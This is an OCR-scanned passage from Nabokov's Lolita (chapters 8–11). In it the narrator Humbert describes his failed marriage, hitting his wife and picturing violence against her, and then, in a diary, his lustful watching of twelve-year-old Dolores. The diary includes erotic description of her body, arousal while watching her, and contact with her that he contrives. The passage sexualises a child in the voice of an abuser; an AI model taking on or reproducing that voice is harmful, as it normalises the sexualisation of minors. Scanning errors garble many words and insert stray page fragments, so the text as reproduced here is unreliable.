ladies, I might have +easily found, among the many crazed beauties that lashed my +grim rock, creatures far more fascinating than Valeria. My +choice, however, was prompted by considerations whose es- +sence was, as I realized too late, a piteous compromise. All of +which goes to show how dreadfully stupid poor Humbert al- +ways was in matters of sex. + + +8 + + +Although I told myself I was looking merely for a soothing +presence, a glorified pot-au-feu, an animated merkin, what +really attracted me to Valeria was the imitation she gave of a +little girl. She gave it not because sbe had divined something +about me; it was just her style — and I fell for it. Actually, she +was at least in her late twenties (I never established her exact +age for even her passport lied) and bad mislaid her virginity +under circumstances that changed with her reminiscent +moods. I, on my part, was as naive as only a pervert can be. +She looked fluffy and frolicsome, dressed A h gamine, showed +a generous amount of smooth leg, knew how to stress the white +of a bare instep by the black of a velvet slipper, and pouted, +and dimpled, and romped, and dirndled, and shook her short +curly blond hair in the cutest and tritest fashion imaginable. + +After a brief ceremony at the mairie, I took her to the new +apartment I had rented and, somewhat to her surprise, bad her + +26 + + + +wear, before I touched her, a girl’s plain nightshirt that I had +managed to filch from the linen closet of an orphanage. I de- +rived some fun from that nuptial night and had the idiot in +hysterics by sunrise. But reality soon asserted itself. The +bleached curl revealed its melanic root; the down turned to +prickles on a shaved shin; the mobile moist mouth, no matter +how I stuffed it with love, disclosed ignomimously its resem- +blance to the corresponding part in a treasured portrait of her +toadlike dead mama; and presently, instead of a pale little +gutter girl, Humbert Humbert had on his hands a large, puffy, +short-legged, big-breasted and practically brainless baba. + +This state of affairs lasted from 1935 to 1939. Her only asset +was a muted nature which did help to produce an odd sense of +comfort in our small squalid fiat: two rooms, a hazy view in +one window, a brick wall in the other, a tiny kitchen, a shoe- +shaped bath tub, within which I felt like Marat but with no +white-necked maiden to stab me. We had quite a few cozy +evenings together, she deep in her Paris-Soir, I working at a +rickety table. We went to movies, bicycle races and boxing +matches. I appealed to her stale flesh very seldom, only in +cases of great urgency and despair. The grocer opposite had a +little daughter whose shadow drove me mad; but with Valeria’s +help I did find after all some legal outlets to my fantastic +predicament As to cooking, we tacitly dismissed the pot-au-feu +and had most of our meals at a crowded place in rue Bona- +parte where there were wine stains on the table doth and a +good deal of foreign babble. And next door, an art dealer dis-. +played in his cluttered window a splendid, flamboyant, green, +red, golden and inky blue, ancient American estampe — a loco- +motive with a gigantic smokestack, great baroque lamps and a +tremendous cowcatchei, hauling its mauve coaches through +the stormy prairie night and mixing a lot of spark-studded +black smoke with the furry thunder douds. + +These burst. In the summer of 1939 mon oncle cTAmerigue +died bequeathing me an annual income of a few thousand dol- +lars on condition I came to live in the States and showed some +interest in his business. This prospect was most welcome to +me. I fdt my life needed a shake-up. There was another thing, +too: moth holes had appeared in the plush of matrimonial +comfort. During the last weeks 1 had kept noticing that my +fat Valeria was not her usual self; had acquired a queer rest- +lessness; even showed something like irritation at times, which +was quite out of keeping with the stock character she was + +27 + + + +supposed to impersonate. When I informed her we -were short- +ly*' 0 sail for New York, she looked distressed and bewildered. +There were some tedious difficulties with her papers. She had +a Nansen, or better say Nonsense, passport which for some +reason a share in her husband’s solid Swiss citizenship could +not easily transcend; and I decided it was the necessity of +queuing in the prefecture, and other formalities, that had +made her so listless, despite my patiently describing to her +America, the country of rosy children and great trees, where +life would be such an improvement on dull dingy Paris. + +We were coming out of some office building one morning, +with her papers almost in order, when Valeria, as she waddled +by my side, began to shake her poodle head vigorously without +saying a word. I let her go on for a while and then asked if she +thought she had something inside. She answered (I translate +from her French which was, I imagine, a translation in its +turn of some Slavic platitude) : “There is another man in my +life.” + +Now, these are ugly words for a husband to hear. They +dazed me, I confess. To beat her up in the street, there and +then, as an honest vulgarian might have done, was not feasible. +Years of secret sufferings had taught me superhuman self- +control. So I ushered her into a taxi which had been invitingly +creeping along the curb for some time, and in this comparative +privacy I quietly suggested she comment her wild talk. A +mounting fury was suffocating me — not because I bad any par- +ticular fondness for that figure of fun, Mme Humbert, but be- +cause matters of legal and illegal conjunction were for me alone +to decide, and here she was, Valeria, the comedy wife, brazenly +- preparing to dispose in her own way of my comfort and fate. + +I demanded her lover’s name. I repeated my question; but she +kept up a burlesque babble, discoursing on her unhappiness +with me and announcing plans for an immediate divorce. +“Mais qui est-ce?” I shouted at last, striking her on the knee +with my fist; and she, without even wincing, stared at me as if +the answer were too simple for words, then gave a quick shrug +and pointed at the thick neck of the taxi driver. He pulled up +at a small cafe and introduced himself. I do not remember bis +ridiculous name but after all those years I still see him quite +clearly — a stocky White Russian ex-colonel with a bushy mus- +tache and a crew cut; there were thousands of them plying +that fool’s trade in Paris. We sat down at a table; the Tsarist +ordered vane; and Valeria, after applying a wet napkin to her + +28 + + + +kDee, -went on talking— into me rather than to me; she poured +words into this dignified receptacle with a volubility I had nev- +er suspected she had in her. And every now and then she would +volley a burst of Slavic at her stolid lover. The situation was +preposterous and became even more so when the taxi-colonel, +stopping Valeria with a possessive smile, began to unfold his +views and plans. With an atrocious accent to his careful +French, he delineated die world of love and work into which +he proposed to enter hand in hand with his child-wife Valeria. +She by now- was preening herself, between him and me, roug- +ing her pursed lips, tripling her chin to pick at her blouse- +bosom and so forth, and he spoke of her as if she were absent, +and also as if she were a kind of little ward that was in the act +of being transferred, for her own good, from one wise guardian +to another even -wiser one; and although my helpless wrath +may have exaggerated and disfigured certain impressions, I can +swear that he actually consulted me on such things as her diet, +her periods, her wardrobe and the books she had read or should +read. “I think," he said, “she wiD like Jean Christophe?” Oh, +he was quite a scholar, Mr. Taxovich. + +I put an end to this gibberish by suggesting Valeria pack up +her few belongings immediately, upon wbicb the platitudinous +colonel gallantly offered to carry them into the car. Reverting +to his professional state, he drove the Humberts to their resi- +dence and all the way Valeria talked, and Humbert the Terrible +deliberated with Humbert the Small whether Humbert Hum- +bert should kill her or her lover, or both, or neither. I remem-, +ber once handling an automatic belonging to a fellow student, +in the days (I have not spoken of them, I think, but never +mind) when 1 toyed with the idea of enjoying his little sister, +a most diaphanous nymphet with a black hair bow, and then +shooting myself. I now wondered if Valechka (as lie colonel +called her) was really worth shooting, or strangling, or drown- +ing. She had very vulnerable legs, and I decided I would limit +myself to hurting her very horribly as soon as w-e w-ere alone. + +But we never were. Valechka— by now shedding torrents of +tears tinged with the mess of her rainbow make-up, — started +to fill anyhow a trunk, and two suitcases, and a bursting carton, +and visions of putting on my mountain boots and taking a +running lack at her rump were of course impossible to put into +execution with the cursed colonel hovering around all the time. +I cannot say he behaved insolently or anything like that; on +the contrary, he displayed, as a small sideshow in the theat- + +29 + + +ricals I had been inveigled in, a discreet old-world civility +punctuating his movements with all sorts of mispronounced +apologies (j a i demannde pardonne— — excuse me — est-ce gue +fai puis — may I — and so forth), arid turning away tactfully +when Valechka took down with a flourish her pink panties from +the clothesline above the tub; but he seemed to be all over the +place at once, Ie gredin, agreeing his frame with the anatomy +of the flat, reading in my chair my newspaper, untying a +knotted string, rolling a cigarette, counting the teaspoons, +visiting the bathroom, helping his moll to wrap up the electric +fan her father had given her, and carrying streetward her lug- +gage. I sat with arms folded, one hip on the window sill, dying +of hate and boredom. At list both were out of the quivering +apartment — the vibration of the door I had slammed after +them still rang in my every nerve, a poor substitute for the +backhand slap with which I ought to have hit her across the +cheekbone according to the rules of the movies. Clumsily play- +ing my part, I stomped to the bathroom to check if they had +taken my English toilet water; they had not; but I noticed with +a spasm of fierce disgust that the former Counselor of the +Tsar, after thoroughly easing his bladder, had not flushed the +toilet That solemn pool of alien urine with a soggy, tawny +cigarette butt disintegrating in it struck me as a crowning +insult and I wildly looked around for a weapon. Actually I +daresay it was nothing but middle-class Russian courtesy (with +an oriental tang, perhaps) that had prompted the good colonel +(Maximovich! his name suddenly taxies back to me), a very +formal person as they all are, to muffle his private need in de- +corous silence so as not to underscore the small size of his host’s +domicile with the rush of a gross cascade on top of his own +hushed trickle. But this did not enter my mind at the moment, +as groaning with rage I ransacked the kitchen for something +better than a broom. Then, canceling my search, I dashed out +of the house with the heroic decision of attacking him bare- +fisted; despite my natural vigor, I am no pugilist, while the +short but broad-shouldered Maximovich seemed made of pig +iron. The void of the street, revealing nothing of my wife's +departure except a rhinestone button that she had dropped in +the mud after preserving it for three unnecessary years in a +broken box, may have spared me a bloody nose. But no matter, + +I had my little revenge in due time. A man from Pasadena told +me one day that Mrs. Maximovich n6e Zborovshi had died in +childbirth around 1945; the couple had somehow got over to + +30 + + + +California and Lad been nsed there, for an excellent salary, m. +a year-long experiment conducted by a distinguished American +ethnologist. The experiment dealt with human and racial re- +actions to a diet of bananas and dates in a constant position +on aD fours. My informant, a doctor, swore be had seen with +his own eyes obese Valechka and her colonel, by- then gray- +haired and also quite corpulent,, diligently crawling about the +well-swept Soois of a brightly lit set of rooms (fruit in one, +water in another, mats in a third and so on) in the company +of several other hired quadrupeds, selected from indigent and +helpless groups. I tried to find the results of these tests in the +Review of Anthropology; hut they appear not to have been +published yet These scientific products take of course some +time to fluctuate. I hope they will be illustrated with good +photographs when they do get printed, although it is not +very likely that a prison library will harbor such erudite works. +The one to which I am restricted these day's, despite my law- +yer’s favors, is a good example of the inane eclecticism govern- +ing the selection of boohs in prison libraries. They have the +Bible, of course, and Dickens (an ancient set, N.Y., G. W. +Dillingham, Publisher, MDCCCLXXXVII); and the Chil- +dren's Encyclopedia (with some nice photographs of sunshine- +haired Girl Scouts in shorts), and A Murder Is Announced +by Agatha Christie; but they also have such coruscating trifles +as A Vagabond In Italy by" Percy Elphinstone, author of +Venice Revisited, Boston, 1868, and a comparatively recent +(1946) Who’s Who in the Limelight — actors, producers,' +playwrights, and shots of static scenes. In looking through the +latter volume, I was treated last night to one of those dazzling +coincidences that logicians loathe and poets love. I transcribe +most of the page: + +Pym, Roland. Bom in Lundy, Mass., 1922. Received stage +training at Elsinore Playhouse, Derby, N.Y. Made debut in. +Sunburst. Among his many appearances are Two Blocks +from Here, The Girl in Green, Scrambled Husbands, The +Strange Mushroom, Touch and Go, John Lovely, I Was +Dreaming of You. + +Quilty, Clare, American dramatist Bom in' Ocean City, +L-l-, 1911. Educated at Columbia University. Started on a +commercial career but turned to playwriting. Author of +i he Little Nymph, The Lady who Loved Lightning (in +co Liberation with Vis-fan Darkbloom), Dark Age The + +31 + + + +Strange Mushroom, Fatherly Love, and others. His many +plays for children are notable. Little Nymph (1940) trav- +eled 14,000 miles and played 280 performances on the road +during the winter before ending in New York. Hobbies: +fast cars, photography, pets. + +Quine, Dolores. Bom in 1882, in Dayton, Ohio. Studied +for stage at American Academy. First played in Ottawa in +1900. Made New York debut in 1904 in Never Talk to +Strangers. Has disappeared since in [a list of some thirty +plays follows.] + +How the look of my dear love’s name, even affixed to some +old hag of an actress, still makes me rock with helpless painl +Perhaps, she might have been an actress too. Bom 1935. Ap- +peared (I notice the slip of my pen in the preceding paragraph, +but please do not correct it, Clarence) in The Murdered Play- +wright. Quine the Swine. Guilty of killing QoQty. Oh, my +Lolita, I have only words to play with! + + +9 + +Divorce proceedings delayed my voyage, and the gloom of +yet another World War had settled upon the globe when, after +a winter of ennui and pneumonia in Portugal, I at last reached +. the States. In New York I eagerly accepted the soft job fate +offered me: it consisted mainly of thinking up and editing per- +fume ads. I welcomed its desultory character and pseudoliter- +ary aspects, attending to it whenever I had nothing better to +do. On the other hand, I was urged by a war-time university in +New York to complete my comparative history of French +literature for English-speaking students. The first volume took +me a couple of years during which I put in seldom less than +fifteen hours of work daily. As I look back on those days, I see +them divided tidily into ample light and narrow shade: the +light pertaining to the solace of research in palatial libraries, +the shade to my excruciating desires and insomnias of which +enough has been said. Knowing me by now, the reader can +easily imagine how dusty and hot I got, trying to catch a +glimpse of nymphets (alas, always remote) playing in Central + +32 + + + +y + +Park, and how repulsed I was by the glitter of deodorized • 1 +career girls that a gay dog in one of the offices kept unloading +upon me. Let us skip all that A dreadful breakdown sent me +to a sanatorium for more than a year, I went back to my work +— only to be hospitalized again. . + +Robust outdoor life seemed to promise me some relief. One +of my favorite doctors, a charming cynical chap with a little +brown beard, had a brother, and this brother was about to lead ; +an expedition into arctic Canada. I was attached to it as a +“recorder of psychic reactions.” With two young botanists, +and an old carpenter I shared now and then (never very suc- +cessfully) the favors of one of our nutritionists, a Dr. Anita +Johnson — who was soon flown hack, I am glad to say. I had +little notion of what object the expedition was pursuing. Judg- +ing by the number of meteorologists upon it, we may have +been tracking to its lair (somewhere on Prince of Wales' Is- +land, I understand) the wandering and wobbly north mag- +netic pole. One group, jointly with the Canadians, established +a weather station on Pierre Point in Melville Sound. Another +group, equally misguided, collected plankton.. A third studied +tuberculosis in the tundra. Bert, a film photographer — an in- +secure fellow with whom at one time I was made to partake - +in a good deal of menial work (he, too, had some psychic +troubles) — maintained that the big men on our team, the real j +leaders we never saw, were mainly engaged in checking the in- j +fluence of climatic amelioration on the coats of the arctic fox. + +We lived in prefabricated timber cabins amid a Pre-CatUr +brian world of granite. We had heaps of supplies — the Read- +er’s Digest, an ice cream mixer, chemical toilets, paper caps +for Christmas. My health improved wonderfully in spite or +because of all the fantastic blankness and boredom. Sur- +rounded by such dejected vegetation as willow. scrub and +lichens; permeated, and, I suppose, cleansed by a whistling j + +gale; seated on a boulder under a completely translucent sky j + +(through which, however, nothing of importance showed), I i + +felt curiously aloof from my own self. No temptations mad- j + +dened me. The plump, glossy little Eskimo girls with their j + +fish smell, hideous raven hair and guinea pig faces, evoked | + +c\cn less desire in me than Dr. Johnson had. Nymphets do j + +not occur in polar regions. + +I left my betters the task of analyzing glacial drifts, drum- +j • an ° gremlins, and kremlins, and for a time tried to jot +down what I fondly thought were “reactions" (I noticed, for + +33 + + +- instance, that dreams under the midnight sun tended to be +highly colored, and this my friend the photographer con- +firmed). I was also supposed to quiz my various companions +.on a number of important matters, such as nostalgia, fear of +unknown animals, food-fantasies, nocturnal emissions, hob- +bies, choice of radio programs, changes m outlook and so +forth. Everybody got so fed up with this that I soon dropped +the project completely, and only toward the end of my twenty +months of cold labor (as one of the botanists jocosely put it) +concocted a-perfectly spurious and very racy report that the +reader will find published in the Anna Is of Adult Psycho- +physics for 1945 or 1946, as well as in the issue of Arctic +Explorations devoted to that particular expedition; which, in +conclusion, was not really concerned with Victoria Island +copper or anything like that, as I learned later from my genial +doctor; for the nature of its real purpose was what is termed +“hush-hush,” and so let me add merely that whatever it was, +that purpose was admirably achieved. + +The reader will regret to learn that soon after my return to +civilization I had another bout with insanity (if to melancholia +and a sense of insufferable oppression that cruel term must be +applied). I owe my complete restoration to a discovery I made +while being treated at that particular very expensive sanato- +rium. I discovered there was an endless source of robust en- +joyment in trifling with psychiatrists: cunningly leading them +on; never letting them see that you know all the tricks of the +trade; inventing for them elaborate dreams, pure classics in style +(which make them, the dream-extortionists, dream and wake +up shrieking); teasing them with fake “primal scenes”; and +never allowing them the slightest glimpse of one’s real sexual +-predicament. By bribing a nurse I won access to some files and +discovered, with glee, cards calling me “potentially homo- +sexual” and “totally impotent.” The sport was so excellent, +its results — in my case — so ruddy that I stayed on for a whole +month after I was quite well (sleeping admirably and eating +like a schoolgirl). And then I added another week just for the +pleasure of taking on a powerful newcomer, a displaced (and, +surely, deranged) celebrity, known for his knack of making +patients believe they had witnessed their own conception. + + +34 + + +10 + + +Ukw sicning our, I cast around for some place in the New +England countryside or sleepy small town (elms, white +church) where I could spend a studious summer subsisting +on a compact boxful of notes I had accumulated and bathing +in some nearby lake. My work had begun to interest me again +— I mean my scholarly exertions; the other thing, my active +participation in my uncle’s posthumous perfumes, had by then +been cut down to a minimum. + +One of his former employees, the scion of a distinguished +family, suggested X spend a few months in the residence of his' +impoverished cousins, a Mr. McCoo, retired, and his wife, who +wanted to let their upper story where a late aunt had delicately +dwelt He said they had two little daughters, one a baby, the +other a girl of twelve, and a beautiful garden, not far from a +beautiful lake, and I said it sounded perfectly perfect + +I exchanged letters with these people, satisfying them I was +housebroken, and spent a fantastic night on the train, imagin- +ing in all possible detail the enigmatic nymphet I would coach +in French and fondle in Humbertish. Nobody met me at the +toy station where I alighted with my new expensive bag, and +nobody answered the telephone; eventually, however, a dis- +traught McCoo in wet clothes turned up at the only hotel of, +green-and-pink Ramsdale with the news that his house had +fust burned down — possibly, owing to the synchronous con- +flagration that had been raging all night in my veins. His +family, he said, had fled to a farm he owned, and had taken +the car, but a friend of his wife’s, a grand person, Mrs. Haze +of 342 Lawn Street, offered to accommodate me. A lady who +lived opposite Mrs. Haze’s had lent McCoo her limousine, a +marvelously old-fashioned, square-topped affair, manned by a +cheerful Negro. Now, since the only reason for my coming +at all had vanished, the aforesaid arrangement seemed prepos- +terous. All right, his house would have to be completely re- +built, so what? Had he not insured it sufficiently? I was angry, +disappointed and bored, but being a polite European, could +not refuse to be sent off to Lawn Street in that funeral car, +xcc.ing that otherwise McCoo would devise an even more +elaborate means of getting rid of me, I saw him scamper away, + +35 + + + +and my chauffeur shoolc his head with a soft chuckle. En route, +I swore to myself I would not dream of staying in Ramsdale +under any circumstance but would' fly that very day to the +'Bermudas or the Bahamas or the Blazes. Possibilities of sweet- +ness on technicolor beaches had been triclding through my +spine for some time before, and McCoo’s cousin had, in fact, +sharply diverted that train of thought with his well-meaning +but as it transpired now absolutely inane suggestion. + +Speaking of sharp turns: we almost ran over a meddlesome +suburban dog (one of those who lie in wait for cars) as we +swerved into Lawn Street. A little further, the Haze house, a +white-frame horror, appeared, looking dingy and old, more +gray than white — the kind of place you know will have a rub- +ber tube affixable to the tub faucet in lieu of shower. I tipped +the chauffeur and hoped he would immediately drive away so +that I might double back unnoticed to my hotel and bag; +but the man merely crossed to the other side of the street +where an old lady was calling to him from her porch. What +could I do? I pressed the bell button. + +A colored maid let me in — and left me standing on the mat +while she rushed back to. the kitchen where something was +burning that ought not to bum. + +- . The front hall was graced with door chimes, a white-eyed +wooden thingamabob of commercial Mexican origin, and that +banal darling of the arty middle class, van Gogh’s "Arl6s- +ienne." A door ajar to the right afforded a glimpse of a living +room, with some more Mexican trash in a comer cabinet and a +striped sofa along the wall. There was a staircase at the end +of the hallway, and as I stood mopping my brow (only now +did I realize how hot it had been out-of-doors) and staring, to +stare at something, at an old gray tennis ball that lay on an +oak chest, there came from the npper landing the contralto +voice of Mrs. Haze, who leaning over the banisters inquired +melodiously, “Is that Monsieur Humbert?” A bit of cigarette +ash dropped from there in addition. Presently, the lady her- +self — sandals, maroon slacks, yellow silk blouse, squarish face, +in -that order — came down die steps, her index finger still +tapping upon her cigarette. + +I think I had better describe her right away, to get it over +with. The poor lady was in her middle thirties, she had a shiny +forehead, plucked eyebrows and quite simple but not unattrac- +tive features of a type that may be defined as a weak solution cf +Marlene Dietrich. Patting her bronze-brown bun, she led me + +36 + + +into the parlor and we talked for a minute about the McCoo +fire and the privilege of living in Ramsdale. Her very wide-set +sea-green eyes had a funny way of traveling all over you, care- +fully avoiding your own eyes. Her smile was but a quizzical +jerk of one eyebrow; and uncoiling herself from the sofa as she +talked, she kept making spasmodic dashes at three ashtrays +and the near fender (where lay the brown core of an apple); +whereupon she would sink back again, one leg folded under +her. She was, obviously, one of those women whose polished +words may reflect a book club or bridge club, or any other +deadly conventionality, but never her soul; women who are +completely devoid of humor; women utterly indifferent at +heart to the dozen or so possible subjects of a parlor con- +versation, but very particular about the rules of such con- +versations, through the sunny cellophane of which not very +appetizing frustrations can be readily distinguished. I was +perfectly aware that if by any wild chance I became ber +lodger, sbe would methodically proceed to do in regard to me +what taking a lodger probably meant to her all along, and I +would again be enmeshed in one of those tedious affairs I knew +so well. + +But there was no question of my settling there. I could not +be happy in that type of household with bedraggled magazines +on every chair and a kind of horrible hybridization between +the comedy of so-called "functional modem furniture” and the +tragedy of decrepit rockers and rickety lamp tables with dead +lamps. I was led upstairs, and to the left — into "my” room. I* +inspected it through the mist of my utter rejection of it; hut I +did discern above "my” bed Ren6 Prinet’s "Kreutzer Sonata.” +And she called that servant maid’s room a "semi-studio"l Let's +get out of here at once, I firmly said to myself as I pretended +to deliberate over the absurdly, and ominously, low' price that +my wistful hostess was asking for board and bed. + +Old-world politeness, however, obliged me to go on with the +ordeal. We crossed the landing to the right side of the house +(where "I and Lo have our rooms” — Lo being presumably the +maid), and the lodger-loser could hardly conceal a shudder +when he, a very fastidious male, was granted a preview of the +only bathroom, a tiny oblong between the landing and "Lo’s” +room, with limp wet things overhanging the dubious tub (the +question mark of a hair inside); and there were the expected +coils of the rubber snake, and its complement— a pinkish +cozy, coyly covering the toilet lid. + +37 + + + +"I see you are not too favorably impressed" said the lady +letting her hand rest for a moment upon my sleeve: she com- +bined a cool forwardness — the overflow of what I think is +called poise ' — with a shyness and sadness that caused her +detached way of selecting- her words to seem as unnatural as +the intonation of a professor of “speech.” “This is not a neat +household, I confess,” the doomed dear continued, "but I +assure you [she looked at my lips], you will be very comfort- +able, very comfortable, indeed. Let me show you the garden” +(the last more brightly, with a land of winsome toss of the +voice) . + +Reluctantly I followed her downstairs again; then through +the kitchen at the end of the hall, on the right side of the +. house- -the side where also the dining room and the parlor +were (under “my” room, on the left, there was nothing but a +garage). In the kitchen, the Negro maid, a plump youngish +woman said, as she took her large glossy black purse from the +knob of the door leading to the back porch: ‘Til go now, Mrs. +Haze.” “Yes, Louise,” answered Mrs. Haze with a sigh. “I'll +settle with you Friday.” We passed on to a small pantry and +entered the dining room, parallel to the- parlor we had already +admired. I noticed a white sock on the floor. With a depreca- +tory grunt, Mrs. Haze stooped without stopping and threw it +into a closet next to the pantry. We cursorily inspected a ma- +hogany table with a fruit vase in the middle, containing noth- +ing but the still glistening stone of one plum. I groped for the +timek ble I had in my pocket and surreptitiously fished it out +to look as soon as possible for a train. I was still walking be- +hind Mrs. Haze through the dining room when, beyond it, +there came a sudden burst of greenery — “the piazza,” sang +out my leader, and then, without the least warning, a blue +sea-wave swelled under my heart and, from a mat in a pool +of sun, half-naked, kneeling, turning about on her knees, there +.was rm Riviera love peering at me over dark glasses. + +It was the same child — the same frail, honey-hued shoulders, +the same silk}' supple bare back, the same chestnut head of +hair. A polka-dotted black kerchief tied around her chest hid +from my aging ape eyes, but not from the gaze of young +memory, the juvenile breasts I had fondled one immortal day. +And, as if I were the fairy-tale nurse of some little princess +(lost, kidnaped, discovered in gypsy rags through which her +nakedness smiled at the king and his hounds), I recognized +the tiny dark-brown mole on her side. With awe and delight + +38 + + + +4 .; + +r + +(the king crying for joy, the trumpets blaring, the nurse +drunk) I saw again her lovely indrawn abdomen where my +southbound mouth had briefly paused; and those puerile hips +on which I had kissed the crenulated imprint left by the band +of her shorts— that last triad immortal day behind the “Roches +Roses.” The twenty-five years I had lived since then* tapered +to a palpitating point, and vanished. + +I find it most difficult to express with adequate force that +flash, that shiver, that impact of passionate recognition. In the +course of the sun-shot moment that my glance slithered over +the kneeling child (her eyes blinking over those stem dark +spectacles— the little Herr Doktor who was to cure me of all +my aches) while I passed by her in my adult disguise (a great +big handsome hunk of movieland manhood), the vacuum of +my soul managed to suck in every detail of her bright beauty, +and these 1 checked against the features of my dead bride. A +little later, of course, she, this nouvelle, this Lolita, my Lolita, +was to eclipse completely her prototype. All I want to stress is +that my discover}' of her was a fatal consequence of that +"princedom by the sea" in my tortured past. Everything be- +tween the two events was but a series of gropings and blunders, +and false rudiments of joy. Everything they shared made one +of them. + +I have no illusions, however. My judges will Tegaid all this as f +a piece of mummery on the part of a madman with a gross +liking for the fruit vert. Au fond, pa m’est bien 6gal. All I +know is that while the Haze woman and I went down the steps' +into the breathless garden, my knees were like reflections of +knees in rippling water, and my lips were like sand, and — + +"That was my Lo,” she said, "and these are my lilies." + +"Yes," I said, “yes. They axe beautiful, beautiful, beautifull" + +l ! + +fc + + +11 + + +Exhibit number two is a pocket diary bound in black imita- +non leather, with a golden year, 1 947, en escah'er, in its upper +left-hand corner. I speak of this neat product of the Blank +clank Co, Bhnkton, Mass., as if it were really before me. +Actually, it was destroyed five years ago and what we examine + + +39 + + +now (by courtesy of a photographic memory) is but its brief +materialization, a puny unfledged phoenix. + +I remember, the thing so exactly because I wrote it really +twice. First I jotted down each entry in pencil (with many +erasures and corrections) on the leaves of what is commercially +know as a “typewriter tablet”; then; I copied it out with ob- +vious abbreviations in my smallest, most satanic, hand in the +little black book just mentioned. + +May 30 is a Fast Day by Proclamation in New Hampshire +but not in the Carolinas. That day an epidemic of “abdominal +flu” (whatever that is) forced. Ramsdale to close its schools +for the summer. The reader may check the weather data in the +Ran-sdah Journal for 1947. A few days before that I moved +into tht Haze house, and the little diary which I now propose +to reel off (much as a spy delivers by heart the contents of the +note he swallowed) covers most of June. + +Thursday. Very warm day. From a vantage point (bathroom +window) saw Dolores taking things off a clothesline in the +applf free) < light behind the house. Strolled out. She wore a +plaid shirt blue jeans and sneakers. Every movement she +mad< in the dappled sun plucked at the most secret and sensi- +tive chord of my abject body. After a while she sat down next +to mp on the lower step of, the back porch and began to pick +up thf pebbles between her feet — pebbles, my God, then a +curled bit of milk-bottle glass resembling a snarling lip — and +chuck them at a can. Ping. You can’t a second time — you can't +hit it — this is agony — a second time. Ping. Marvelous skin — +oh, marvelous: tender and tanned, not the least blemish. Sun- +daes rau.v acne. The excess of the oily substance called sebum +which nourishes the hair follicles of the skin creates, when too +profuse an irritation that opens the way to infection. But +nyn 'Whets do not have acne although thev gorge themselves +on rich food. God, what agony, that silks' shimmer above her +tern pi ( grading into bright brown hair. And the little bone +twitchinp at the side of her dust-powdered ankle. “The McCoo +girP Cjnnx McCoo? Oh, she’s a fright. And mean. And lame. +Neariv died of polio.” Ping. The glistening tracery of down on +her forearm. When she got up to take in the wash, I had a +chancf of adoring from afar the faded seat of her rolled-up +jeans. Out of the lawn, bland Mrs. Haze,- complete with cam- +era, grew up like a fakir’s fake tree and after some heliotropic +fussinr- -sad eyes up, glad eyes down — had the cheek of taking +my picture as I sat blinking on the steps, Humbert Ie Bel. + +40 + + + +Friday. Saw her going somewhere with a dark girl called +Rose. Why does the way 'she walks — a child, mind you, a mete +child! — excite me so abominably? Analyze it A faint sug- +gestion of turned in toes. A kind of wiggly looseness below toe +knee prolonged to the end of each footfall. The ghost of a +drag. Very infantile, infinitely meretricious. Humbert Hum- j +bert is also infinitely moved by the little one's slangy, speech, . -I +by her harsh high voice. Later heard her volley crude, nonsense +at Rose across the fence. Twanging through me in a rising +rhythm. Pause. “I must go now, Idddo.” . + +Saturday. (Beginning perhaps amended.) I knoyr it is mad- +ness to keep this journal but it gives me a strange thrill to do +so; and only a loving wife could decipher my microscopic +script. Let me state with a sob that today my L. was sun-bath^ +ing on the so-called “piazza," but her mother and some other, +women were around all the time. Of course,- 1 might have sat +there in the rocker and pretended to read. Haying safe, I kept +away, for I was afraid that the horrible, insane, ridiculous and +pitiful tremor that palsied me might prevent me'from making +my entire with any semblance of casualness. + +Sunday. Heat ripple still with ns; a most favonian week. +This time I took up a strategic position, with obese newspaper +and new pipe, in the piazza rocker before L. arrived. To my in- +tense disappointment she came with her mother, both in two- +piece bathing suits, black, as new as my pipe. My darling, my +sweetheart stood for a moment near me — wanted the funnies : +—and she smelt almost exactly like the other one, the Rivierg +one, but more intensely so, with rougher overtones— a torrid +odor that at once set my manhood astir — hut she had already +junked out of me the coveted section and Tetreated to her mat +near her phocine mamma. There my beauty lay down on her +stomach, showing me, showing toe thousand eyes wide open +in my eyed blood, her slightly raised shoulder blades, and the +bloom along the incurvation of her spine, and the swellings of +her tense narrow nates clothed in black, and the seaside of her +schoolgirl thighs. Silently, ' the seventh-grader enjoyed her +gTCcn-rcd-blue comics. She was the loveliest nymphet green- +rca-blue Priap himself could think up. As I looked on, through +prismatic layers of light, dry-lipped, focusing my lust and rock- +ing slightly under my newspaper, 1 felt that my perception of +her, if properly concentrated upon, might be sufficient to have +me attain a beggar’s bliss immediately; but, like some predator +P rcfcrs a moving prey to a motionless one, I planned to +41 + + +have this pitiful attainment coincide with one of the various +girlish movements she made now and then as she read, such as +trying to scratch the middle of her hack and revealing a +stippled armpit — but fat Haze suddenly spoiled everything by +turning to me and asking me for a light, and starting a mak<> +believe conversation about a fake book by some popular fraud. + +Monday. Ddectatio moiosa. I spend my doleful days in +dumps and dolors. We (mother Haze, Dolores and I) were to +go to Our Glass Lake this afternoon, and bathe, and bask; but +a nacreous mom degenerated at noon into rain, and Lo made +a scene. + +The median age of pubescence for girls has been found to +be thirteen years and nine months in New York and Chicago. +The age varies for individuals from ten, or earlier, to seventeen. +Virginia was not quite fourteen when Harry Edgar possessed +her. He gave her lessons in algebra. Je m' imagine cela. They +spent their honeymoon at Petersburg, Fla. "Monsieur Poe- +poe,” as that boy in one of Monsieur Humbert Humbert's +classes in Paris called the poet-poet. + +I have all the characteristics which, according to writers on +the sex interests of children, start the responses stirring in a +little girl: clean-cut jaw, muscular hand, deep sonorous voice, +broad shoulder. Moreover, I am said to resemble some crooner +or actor chap on whom Lo has a crush. + +Tuesday. Rain. Lake of the Rains. Mamma out shopping, +L., I knew, was somewhere quite near. In result of some +stealthy maneuvering, I came across her in her mother's bed- +room. Prying her left eye open to get rid of a speck of some +thing. Checked frock. Although I do love that intoxicating +brown fragrance of hers, I really think she should wash her hair +once in a while. For a moment, we were both in the same +warm green bath of the mirror that reflected the top of a +poplar with us in the sky. Held her roughly by the shoulders, +then tenderly by the temples, and turned her about. It s right +there,” she said, "I can feel it” "Swiss peasant would use the +top of her tongue,” “Lick it out?” "Yeth, Sbly try? Sure, +she said. Gently I pressed my quivering stingy along her rolling +salty eyeball. "Goody-goody,” she said nictating. “It is gone. +“Now the other?” "You dope,” she began, “there is noth—” +but here she noticed the pucker of my approaching lips. +"Okay," she said co-operatively, and bending toward her warm +upturned russet face somber Humbert pressed his mouth to +her fluttering eyelid. She laughed, and brushed past me out of + +42 + + + +the room. My heart seemed everywhere at once. Never in my +life — not even when fondling my child-love in France — +never — + +Night. Never have I experienced such agony. I would Ifke +to describe her face, her ways — and I cannot, because my own +desire for- her blinds me when she is near. I am not used to +being with nymphets, damn it. If I close my eyes I see but 